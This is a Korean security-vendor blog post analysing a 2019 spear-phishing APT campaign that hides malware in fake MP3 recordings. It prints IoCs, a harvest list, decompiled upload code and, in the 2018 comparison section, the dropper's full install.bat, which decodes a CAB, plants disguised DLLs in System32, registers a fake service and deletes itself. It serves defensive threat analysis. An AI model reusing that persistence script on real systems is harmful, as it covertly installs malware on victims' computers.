안녕하세요?
이스트시큐리티 사이버 위협 인텔리전스(CTI) 전문조직인 시큐리티대응센터 (이하 ESRC)입니다.
2019년 03월 06일, 대북관련 분야 등에서 활동하는 기업에 스피어 피싱(Spear Phishing) 공격이 수행된 것을 확인하였고, 특정 정부의 후원을 받는 해킹조직의 APT(지능형지속위협) 공격 일환으로 분석되었습니다.
■ MP3 음원 파일로 위장한 공격벡터 '오퍼레이션 블랙햇 보이스' 배경
최초 공격은 '검토 요청' 이라는 이메일 제목으로 수행됐으며, '회의 자료 Protected.zip' 파일이 첨부되어 있었습니다.
또한, 이메일 본문에는 '회의 자료 보내드리니 검토해주시기 바랍니다. 파일비번: china0305' 문구가 포함되어 있어서, 첨부된 압축파일에 비밀번호가 설정된 것을 알 수 있습니다.
ESRC에서는 이번 사이버작전(Opsec)을 분석하는 과정에서 공격자가 '블랙햇(BlackHat)' 이라는 계정을 사용해 명령제어(C2) 서버를 구축하고, 실제 음성 녹음 파일을 활용한 특징을 착안해 '작전명 블랙햇 보이스(Operation Blackhat Voice)'로 명명했습니다.
블로그에 공개된 내용이외에 보다 상세한 위협분석 인텔리전스 보고서와 침해지표(IoC) 등은 추후 기업전용 악성코드 위협 대응 솔루션 '쓰렛 인사이드(Threat Inside)' 서비스를 통해 별도 제공할 예정입니다.
[그림 1] 03월 06일에 수행된 스피어 피싱 공격 화면
ESRC는 해당 공격을 면밀히 추적하는 과정에서 이미 지난 2월말 부터 동일한 공격이 수행된 정황을 포착했습니다.
2개의 공격은 약 1주일 정도의 간격을 두고 진행되었으며, 첨부파일명이 각각 다르지만 내부에 포함된 악성파일은 동일한 것으로 분석됐습니다.
2019년 02월 27일에 수행된 악성 이메일의 제목은 '중국 지인 자료'이며, '녹음13914778351(Jiao Hu Interpretor Transformed) .3gp .zip' 압축 파일이 첨부되어 있습니다.
그리고 본문에는 '지인으로부터 들어온 녹음자료인데 확인해주시기 바랍니다. 파일비번: china0210' 문구가 포함되어 있습니다.
2월과 3월 수행된 두개의 공격에서 모두 동일하게 암호화된 압축 파일이 사용되었고, 공격자는 '파일비번'이라는 비밀번호의 약어와 함께 중국을 의미하는 'china' 영문 단어를 사용했습니다.
공격자는 한글표현 '비번'을 사용하기 위해 별도의 구글 번역기 등을 사용하지 않았고, 한글을 어느정도 구사할 수 있다는 점에 주목됩니다.
[그림 2] 2월에 수행된 악성 이메일 화면
각 압축파일에 포함된 파일을 비교해 보면, 파일명은 다르지만, 동일한 날짜에 제작된 같은 파일이라는 것을 알 수 있습니다.
또한, 두 파일 모두 'mp3', '3gp' 등 음원 파일처럼 위장한 공통점이 존재하며, 공백을 다수 포함한 2중 확장자로 위장한 실행파일(.exe) 입니다.
[그림 3] 압축 파일 비교 화면
■ 악성파일 코드 시퀀스 분석
공격에 사용된 실제 바이너리(.exe) 파일은 내부에 'MP3', 'WAVE' 리소스를 가지고 있습니다.
'MP3' 리소스에는 실제 음원 파일이 포함되어 있으며, 'WAVE' 리소스에는 32비트와 64비트로 구분된 악성코드가 BASE64 형태로 인코딩되어 있습니다.
[그림 4] 리소스에 은밀히 숨겨져 있는 악성코드 화면
'WAVE' 리소스에 포함되어 있는 '143', '144' 코드에는 128 바이트 크기의 위장된 WAVE 헤더코드를 포함하고 있으며, 그 다음 코드부터는 BASE64 방식으로 인코딩되어 있는 CAB(MSCF) 파일이 포함되어 있습니다.
CAB 압축파일 내부를 살펴보면, '143' 리소스에는 32비트용 악성코드 'svc.dll' 파일이 포함되어 있고, '144' 리소스에는 64비트용 악성코드 'svc.dll' 파일이 포함되어 있습니다.
이 파일은 추후 시스템 폴더 경로에 'Adsvr.dll' 파일명으로 생성되어 작동합니다.
'MP3' 리소스에 포함된 파일은 실제로 중국인들이 대화하는 음원 파일 'mysong.mp3'가 존재하고, 악성코드가 실행되면 다음과 같이 실제 음원이 미디어 플레이어 통해 자동 재생됩니다.
중국어로 대화하는 음성녹음 파일에는 중국·일본·타이완 간의 영유권 분쟁지역인 조어도 문제에 대해 두 사람이 질문과 답변을 나누는 내용을 담고 있습니다.
[그림 4-1] 미디어 플레이어 실행 화면
'svc.dll' 악성코드는 2019년 02월 21일 제작되었으며, 특정 디코딩 함수 (XOR 0x25)를 통해 내부 문자열을 복호화하게 됩니다.
[그림 5] 문자열 디코딩 XOR 0x25 명령 화면
인코딩된 문자열 중에는 다음과 같이 비트코인, 은행, 암호, 문서파일 등의 다양한 데이터를 수집시도하는 기능을 가지고 있습니다.
공격자는 개인정보 중에서도 금융관련 정보 탈취를 통해 금전적인 수익까지 노렸던 것을 알 수 있습니다.
*bitcoin* *paypal* *wallet* *.rdp *.vnc *.cer *.spc *.pvk *credit* *bank* *password* *pwd* *.pdf*.doc *.docx *.xls *.xlsx *.rar *.zip *.txt *.rtf *.jpg *.png *.gif *.htm *.html *.chm *.xaml *.template *.lnk *.asp *.php
[그림 6] 수집 대상 목록
악성 dll 파일이 로드되면, 'addr.dat' 파일을 통해 공격자가 숨겨둔 2개의 명령제어(C2) 서버와 통신을 시도하게 되는데, 하나는 FTP 기반의 웹 서버입니다.
- ftp.drivehq.com
- blackhat.1apps.com
[그림 7] 명령제어(C2) 서버와 통신하는 함수
명령제어(C2) 서버와 통신이 이뤄지면 공격자가 숨겨둔 또 다른 악성코드를 다운로드하게 됩니다.
다양한 파일에 대한 다운로드를 시도하는데, 분석 당시 'wp32.txt' 파일이 다운로드 되었습니다.
[그림 8] C2 서버에서 추가로 다운로드되는 패킷 화면
추가로 다운로드되는 파일도 BASE64 코드로 CAB 파일이 인코딩되어 있으며, 압축 포맷 내부에는 'wp.dll' 파일이 포함되어 있습니다.
'wp.dll' 파일은 2019년 02월 28일 날짜로 압축파일에 포함되어 있고, 실제 코드는 2019년 03월 01일 제작되었습니다.
[그림 9] 디코딩된 'wp32.txt' 내부에 포함되어 있는 악성코드 화면
'wp.dll' 악성파일은 'wing.dll' 이라는 파일명으로 'C:\ProgramData\Microsoft\Windows\Ringtones' 하위 경로에 생성되고 감염된 컴퓨터의 다양한 정보를 수집해 유출을 시도하는 기능을 수행하게 됩니다.
특히, 크롬(Chrome), 오페라(Opera), 인터넷익스플로러(IE) 등의 계정정보 수집을 시도해, 감염된 컴퓨터의 브라우저 정보 탈취를 수행합니다.
[그림 10] 각종 웹 브라우저 정보 수집 명령어
■ Tactics, Techniques and Procedures (TTPs) 기반 유사 위협 사례 비교 분석
ESRC는 이번 '오퍼레이션 블랙햇 보이스(Operation Blackhat Voice)' 캠페인을 TI기반으로 추적하는 과정에서 지난 2018년 09월 27일에 이미 유사한 사이버 작전이 수행된 것을 확인할 수 있었습니다.
당시 공격은 자녀분의 녹음자료처럼 수신자를 현혹하고 있으며, 이번과 마찬가지로 비번이라는 표현과 암호화된 압축파일을 첨부하고 있는 공통점이 존재합니다.
공격자는 전략적인 측면에서 수개월 이상 동일한 절차를 기법을 사용하고 있었습니다.
[그림 11] 2018년 09월 수행된 유사 공격 사례 화면
2018년 공격에 사용된 파일과 2019년 공격에 사용된 파일의 내부 구조를 비교해 본 결과 거의 동일한 구조를 가지고 있었습니다.
다만, 2018년에 제작된 악성파일은 리소스에 'WAVE' 1개만을 가지고 있었으며, 해당 리소스에 '134', '143', '144' 리소스를 포함하고 있습니다.
- 134 : WAVE 포맷의 한국어 음성파일 포함
- 143 : WAVE 헤더로 위장한 32비트용 악성 CAB파일의 BASE64 코드
- 144 : WAVE 헤더로 위장한 64비트용 악성 CAB파일의 BASE64 코드
윈도우즈 운영체제 플랫폼 구분에 따라 Cab 파일이 생성되는데, 'WinmgntSvc.txt' 파일명으로 생성된 후 다음과 같은 배치파일(install.bat) 'certutil.exe' 명령에 의해 'WinmgntSvc.cab' 파일명으로 생성되고, 압축 해제된 파일들이 시스템 경로 등에 몰래 숨겨진 후 흔적을 삭제하게 됩니다.
@echo off
:COPYFILE
c:
cd "%AppData%\NewWindow"
md DiagSvc > nul
certutil -decode WinmgntSvc.txt WinmgntSvc.cab > nul
expand WinmgntSvc.cab -F:* DiagSvc > nul
move /y DiagSvc\WinmgntSvc.dll %systemroot%\System32 > nul
md %systemroot%\System32\Recovery > nul
move /y DiagSvc\mscvp14.dll %systemroot%\System32\Recovery > nul
md %systemroot%\System32\spool > nul
move /y DiagSvc\msprxy.dll %systemroot%\System32\spool > nul
del /f /q WinmgntSvc.cab > nul
del /f /q WinmgntSvc.txt > nul
rmdir /q DiagSvc > nul
:INSTALL
sc create Winmgn1 binpath= "%systemroot%\System32\svchost.exe -k LocaIServiceNetwork" DisplayName= "Windows Management Instrumentration" > nul
sc description Winmgn1 "Provides a common interface and object model to access management information about operating" > nul
sc stop Winmgn1 > nul
sc config Winmgn1 type= own start= auto error= normal binpath= "%systemroot%\System32\svchost.exe -k LocaIServiceNetwork" > nul
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v LocaIServiceNetwork /t REG_MULTI_SZ /d "Winmgn1" /f > nul
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Winmgn1\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\System32\WinmgntSvc.dll" /f > nul
sc start Winmgn1 > nul
ping -n 2 127.0.0.1 > nul
del /f /q %~dpnx0 > nul
CAB 파일 내부에는 'mscvp14.dll', 'msprxy.dll', 'WinmgntSvc.dll' 등 3개의 파일이 포함되어 있는데, 파일명은 마치 마이크로 소프트사의 시스템 파일처럼 교묘하게 위장하고 있습니다.
또한 압축을 해제하는 경로 역시 시스템 경로라는 것을 알 수 있습니다.
각각의 파일은 2019년 3월에 발견된 악성코드와 동일한 디코딩 루틴을 가지고 있습니다.
[그림 12] 악성코드 문자열 디코딩 함수 비교 화면
한편, 2018년 공격벡터에 사용된 리소스에도 음성 녹음파일이 포함되어 있는데, 이때 사용된 녹음파일에는 한국인 남성 2명이 한국어로 대화하는 내용이 담겨져 있는 특징이 있습니다.
또한, 공격에 사용된 'msprxy.dll' 모듈을 분석해 보면, 키로깅과 화면캡처 등의 정보탈취 기능을 가지고 있으며, 다음과 같은 명령제어(C2) 주소를 사용합니다.
- 195.22.237.54
- 201.236.103.27
- 72.68.158.37
그리고 다음과 같은 'Content-Type: multipart/form-data' 헤더를 사용합니다.
qmemcpy(&pwszHeaders, L"Content-Type: multipart/form-data; boundary=", 0x58u);
qmemcpy(&v30, L"---------------------------67491722032265", 0x57u);
qmemcpy((void *)(a1 + 212), "Content-Type: application/octet-stream\r\n\r\n", 0x2Bu);
qmemcpy((void *)(a1 + 84), "-----------------------------67491722032265\r\n", 0x2Eu);
qmemcpy((void *)(a1 + 340), "\r\n-----------------------------67491722032265--\r\n", 0x32u);
sub_1000A9D0(a1 + 20, a1 + 468);
sub_1000A9D0(v2, a1 + 596);
strcpy_s((char *)(a1 + 724), 0x190u, "Content-Disposition: form-data; name=\"txt\"; filename=\"");
[그림 13] 'msprxy.dll' 악성코드 내부 코드 화면
대한민국의 평창올림픽 개막일 다음 날인 2018년 02월 10일에는 '북한분석자료 (삼지연악단)'이라는 내용으로 진행된 APT 공격 사례가 있었습니다.
이 공격에 '2018 02 07 삼지연 관현악단 단장 현송월 업 데 이 트(공백).xps.vbs' 악성파일이 사용되었는데, 특정 명령제어(C2) 서버와 통신을 하고, 추가적인 악성코드를 설치하게 됩니다.
그 과정에서 감염된 컴퓨터의 화면을 캡처하고, 키로깅 등을 하여 서버로 전송을 시도하는데 이때 사용하는 패킷이 다음과 같습니다.
[그림 14] 유사 악성코드의 통신 패킷 비교 화면
이 공격자가 사용한 방식에 단순 포털사 피싱기법이 확인된 바 있는데, 이때 허위로 '바이러스 검사 완료' 메시지를 보여준 후 공격을 수행하게 됩니다. 이 공격 시퀀스는 이른바 김수키(Kimsuky) 조직이 사용하고 있으며, '45.76.99.56' 아이피 주소에서 스피어 피싱 이메일을 다수 발송하였습니다.
ESRC에서는 이 위협 배후를 추적하는 과정 중에 특정 정부의 후원을 받는 공격조직의 다양한 침해사고 사례를 목격할 수 있었습니다.
특히, 한국의 포털 회사가 제공하는 무료 이메일 서비스의 계정탈취를 시도하는 피싱공격도 함께 수행하는 것이 여러차례 발견된 바 있습니다.
이들 조직은 수년 간 끊임없이 한국의 기업 및 기관 등을 대상으로 무수히 많은 사이버 공격을 수행하고 있으므로, 각별한 주의와 보안강화가 요구되고 있습니다.
이와 관련한 보다 자세한 인텔리전스 리포트는 추후 Threat Inside 서비스를 통해 별도로 제공할 예정입니다.
[주의] 선하증권 확인을 미끼로 RAT을 유포하는 이메일 주의! (0) | 2019.03.11 |
---|---|
[주의] 헌법 재판소 소환장으로 유포중인 업그레이드된 갠드크랩 v5.2 주의! (0) | 2019.03.11 |
국내에 대량 유포중인 새로운 송장/인보이스 사칭 악성 이메일 주의! (0) | 2019.03.07 |
기업들을 대상으로 유포되고 있는 클롭(CLOP) 랜섬웨어 주의! (0) | 2019.03.05 |
구매 송장 메일로 위장해 사용자 정보를 노리는 악성코드 주의!! (1) | 2019.02.27 |
댓글 영역